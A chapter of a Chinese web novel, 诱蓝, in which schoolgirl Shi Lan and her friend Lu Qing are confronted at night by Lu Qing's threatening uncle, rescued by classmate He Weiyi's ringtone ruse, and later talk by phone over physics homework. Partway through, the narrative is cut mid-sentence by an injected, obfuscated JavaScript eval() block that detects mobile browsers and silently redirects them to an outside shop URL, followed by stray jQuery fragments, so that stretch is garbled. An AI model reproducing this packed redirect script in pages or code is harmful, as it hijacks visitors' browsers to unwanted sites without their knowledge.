文趣网 > 都市小说 > 诱蓝 > 6. 第六张网
    时蓝丢下一句“我先走了”就匆匆离开。

    青春期的女生总是小心翼翼又敏感多疑。有关男女的警告听多了便由耳入心,而谣言击溃一个人,轻而易举。

    她怕解释不清,于是趁路晴上厕所的功夫出来,也是因为害怕,下课铃一响便慌忙逃走。

    时蓝其实很羡慕路晴这样和谁都可以玩得开的女生。

    而她暗恋乔嘉明,估计本人压根不知道,因为连一点捕风捉影的暧昧都不曾有过。

    她的动作表情与一般无二,始终保持着该有的距离。

    是关系亲近的大哥哥。

    而非暗恋的心上人。

    乔嘉明只比她大了两个月,可她却一直喊他“嘉明哥”,虽然起初是父母要求,后面喊习惯了也不觉有何不妥。

    可现下,好像只有这样称呼才能给心底隐秘的欢喜冠以平常之名。

    她一直这么谨言慎行,一个名字都百转千回,对于贺唯一这种风云人物,更是刻意躲避,以防被闲言碎语淹没。

    但是不把两人之间的利益往来划上等号她心里又不舒服。

    *

    深夜时分,空气寒凉。

    一群黑衣人站在两人面前。

    时蓝听见自己心跳在加速,手不自觉地揪紧了包带。

    打劫吗?

    以她那点三脚猫功夫还是三十六计走为上,没什么比小命更重要。

    时蓝悄悄牵起了路晴的手,却摸到她手心汗涔涔的,两个女生相握的力度大了些。

    时蓝另一只手伸进校服口袋,那里面是程安给她的早饭钱。她昨晚熬夜做题,早上被程安叫了好几遍才起,没时间买早饭,程安就给她塞了点钱让她路上看着买点吃。

    她光想着别迟到,也没吃成。

    很多时候,时蓝都奉信,巧合在一定程度上就是注定。

    比如现在,她觉得今早没用这钱买饭就是为了晚上这一劫。

    时蓝微垂眼睫,手缓缓伸向口袋,身边却猛然传来说话声。

    “你来干什么?”

    是路晴的声音,但很尖锐,和她平时完全不同。

    还未等时蓝反应,为首的男人上前了几步。

    头顶路灯故障,昏黄的光线在他脸上一晃一晃,他笑着说:“小晴,我等你很久了。”

    他明明在笑,时蓝却没来由感到害怕。

    “这谁?”她小声问路晴。

    穿堂风吹过巷口,路晴掌心微凉,她攥紧拳头,又松开。

    “我叔叔。”

    “我都搬家了,”路晴握住时蓝的手大声道,“你别再来找我了。”

    路晴快绝望了。

    那是一种从深渊中逃出来,却在下一秒发现只是做了一个梦的绝望。

    梦醒了,她依旧在深渊里。

    从未逃开过。

    手臂那块已经长出新肉的地方,在隐隐作痛。

    时蓝被路晴握得手疼。

    她力气大得骇人。

    男人点了根烟,微弱的火光在黑夜里跳动。

    二手烟的刺鼻气味呛得时蓝想咳嗽,指甲掐住手心软肉,才将那股子冲动压下去。

    她也在那一瞬看清了男人的脸。

    像行尸走肉般。

    眼眶凹陷,颧骨突出,青色胡茬野蛮生长,看向她们的眼神阴意重重,让人不寒而栗。

    指尖那点猩光被风吹动,像漂浮在忘川河面上的鬼火,男人将燃烧的烟猛地掷在地面,突然吼道:“你住的好好的为什么要搬家?!”

    下一秒满脸笑容,明明同一具身躯却像有两个人格,语气忽然就变得格外温柔,“小晴,跟叔叔回去……”

    路晴转身要走,男人见状急了,手往后一挥,身后的黑衣人立刻逼近两人。

    这时,一阵悠长急促的声音突兀响起。

    “是警察,快溜。”人群中不知是谁大喊了一声,彼此对视几眼,心照不宣。

    为了单生意把自己搭进去不值当。

    “你给我等着!”男人丢下狠话,跑了。

    整条小巷重新陷入寂静。

    路晴松开手,身体像没了重心,狠狠跌坐在地上。时蓝蹲下来,轻轻拍着她的背安慰道:“没事了,没事了,警察来了。”

    “哪有警察。”

    声音从头顶上方传来,低沉慵懒的音色因着附近空旷多了几分空灵,尾音微微上扬,语气却是显然的陈述。

    时蓝慢半拍地抬头,意外地撞入一双深黑色的瞳孔。

    贺唯一?

    他怎么在这?

    没有警察,那刚刚的声音是?

    “多亏贺唯一聪明,用铃声吓跑了他们。”王俞像是会读心术。

    贺唯一问:“怎么回事?”

    时蓝看向路晴,后者递给她一个眼神,苍白的脸上勾着抹笑。

    “抢钱的。”时蓝说。

    路晴眸光黯淡,一副失神的样子,完全没有一丝劫后余生的庆幸。

    任谁都能看出来欲盖弥彰。

    *

    月光淡薄如雾,斋凉苑一角的灯光倏然亮起。

    方婶今晚做的松鼠桂鱼,据说是她老家的特色菜。

    鱼肉切花刀热油炸至金黄,番茄酱和糖小火慢熬收汁,甜得发腻,贺唯一吃了几口就放下筷子。

    “唯一,是不合口味吗?”方婶从厨房出来,见他面前的银耳汤快见了底,那道松鼠桂鱼却只有两块菱形花状翻开露出白肉。

    贺唯一用筷子夹起最后一团银耳吃掉,“没有方婶,挺好吃的。”他放下碗,抽了张纸擦嘴,“我今天不怎么饿。”

    餐桌上方的吊灯散着柔和的光照亮少年单薄的身躯,方婶看着他上楼,半晌重重叹了口气。

    像,和他的妈妈太像了。

    *

    西边卧室装的是白炽灯,贺唯一眯着眼睛适应了一会儿突然转变的光线,走到书桌前停住,探究的目光落在桌面某处。

    是那两本莫名的笔记。

    想到白日情形,贺唯一把手机扔到一边,身体倾斜靠着椅背,翻开上面一本。

    扉页的纸张已经有些泛黄,入眼是密密麻麻却分布有致的笔迹,只有红蓝黑三种颜色,笔锋利落,不拖泥带水。

    没有五颜六色的彩笔荧光笔,排版干净整洁,看起来很是舒心。

    窗外夜色愈深,贺唯一翻开另一本笔记。

    少女字迹清秀,深灰色铅印浅浅拓在同样有些泛黄的纸张,笔锋同样利落,却较之前的行笔方式少了几分幼稚。

    他单手撑着脸庞,突然低低笑了声,中指第二指节摩挲着眉骨,

    贺唯一心念一动,随手翻到某页。

    一根手指夹在中间,又翻回到扉页,对着铅笔写的那串数字一个个输进去。

    夜风吹过斋凉湖面,掠过水面带起丝丝凉意。

    贺唯一靠在窗户旁,有些哑的音融进风中。

    “喂,我是贺唯一。”

    “有什么事吗?”时蓝左手摁下接听键,右手握着笔还在做卷子。

    试卷右侧放着张a4纸,被她写满

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843908|211694||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了公式和推导过程,边缘被手臂压到折起一个小三角,她伸手抚平,静静等待着对面的回答。

    贺唯一坐回椅子上,食指放在笔记本上有一下没一下地敲着,脚尖微点地面,竹椅轻晃,“不是你说有不会的问你吗?”

    他胳膊搭在扶把内侧,食指无意识地摩挲书页一角,“怎么,忘了?”

    时蓝思绪全在手边的题目上,手下的笔缓缓圈出一个关键条件,因在思考语速变得缓慢:“没忘。”

    她停了会儿,对方却没再出声,她只好问:“哪里不会?”

    贺唯一目光投向窗外浓稠的夜色,又垂下头,随手翻到某一页,又随便选了一个知识点问过去。

    “平行四边形定则就是当两个力合成时,把表示这两个力的线段作邻边来构造一个平行四边形。”时蓝想了想,说:“你可以自己画一个平行四边形看一下。”

    她怕概念太抽象,他听不懂,就叫他画图这样好理解许多。

    虽然在她看来,这个知识点简直是所有物理定义里最简单的了,但是想到每次庄莹看着他时那种恨铁不成钢的眼神,她也就释然了。

    对学生得耐心,这是她认为一个好老师首先该做的。

    贺同学却没有如她想象般乖乖坐在书桌前画图。

    贺唯一翘着长腿,半躺在摇椅上,薄薄的唇角噙着笑,脚步分毫未移,面不改色道:“嗯,画了。”

    时蓝不疑有他,继续教学,“然后你把两条邻边之间的对角线连一下,这个表示合力的大小和方向。”

    她拿起笔在自己演算纸上的空白处也画了个草图。

    “你笔记旁边那个画三角形的符号是什么意思?”他煞有介事问。

    “那个是例题,后面关于平行四边形法则的题型我基本上都整理出来了,你看会理解再做点同类型的题就差不多了。”

    时蓝端起水杯喝了口玫瑰花茶润嗓子,接着又跟他讲了些相关记忆点和易考点。

    *

    周五凌晨下了场小雨,走出家门时地面还是潮湿的。时蓝特意比平时早十分钟,出门时狠狠吸了一口雨后新鲜的空气,然后习惯性地揪着书包带慢慢悠悠往学校走。

    通往学校的那条路,林荫道占了三分之二。

    大概是天气舒爽,时蓝心情莫名蛮好,到教室时嘴里还哼着小曲。

    路晴还没来,时蓝想起昨天放学时她要的东西,拉开书包拉链将一个正方形的收纳盒拿出来放她桌上。

    早自习铃声一般会持续五秒钟左右,混在嘈杂的读书声中,闹心得很,因为这就意味着不能背自己想背的东西了。

    铃声结束,时蓝听见身后有人微微喘气。

    王俞毛着腰从后门溜进来,气息不匀,刚刚他差点被巡查老师逮到,一路狂奔才终于把人甩掉。

    周五是语文早自习,陈颖华眼多尖,早就看见了后门弯腰弓背抱着书包的王俞,但资深老师最擅长的,就是睁一只眼闭一只眼。

    陈颖华拿起旁边泡了枸杞的玻璃杯,放到嘴边吹了吹,落在后排的眼神悠悠收回。

    “时蓝,这题我没看懂。”

    路晴今天没来,时蓝正想着掏出手机发个短信问问怎么回事,手慢慢地伸向书包,眼神盯着窗外和前后门,毕竟是做坏事,多少有点紧张。

    这下猛地抬头,对上一双黑漆漆的双眸,这人走路怎么没声啊?突然就像土拨鼠一样窜出个脑袋。

    “哪,哪题?”她暗自稳了稳心神,右手拇指微曲抵着牙关,视线落在男生手指压着的纸页上。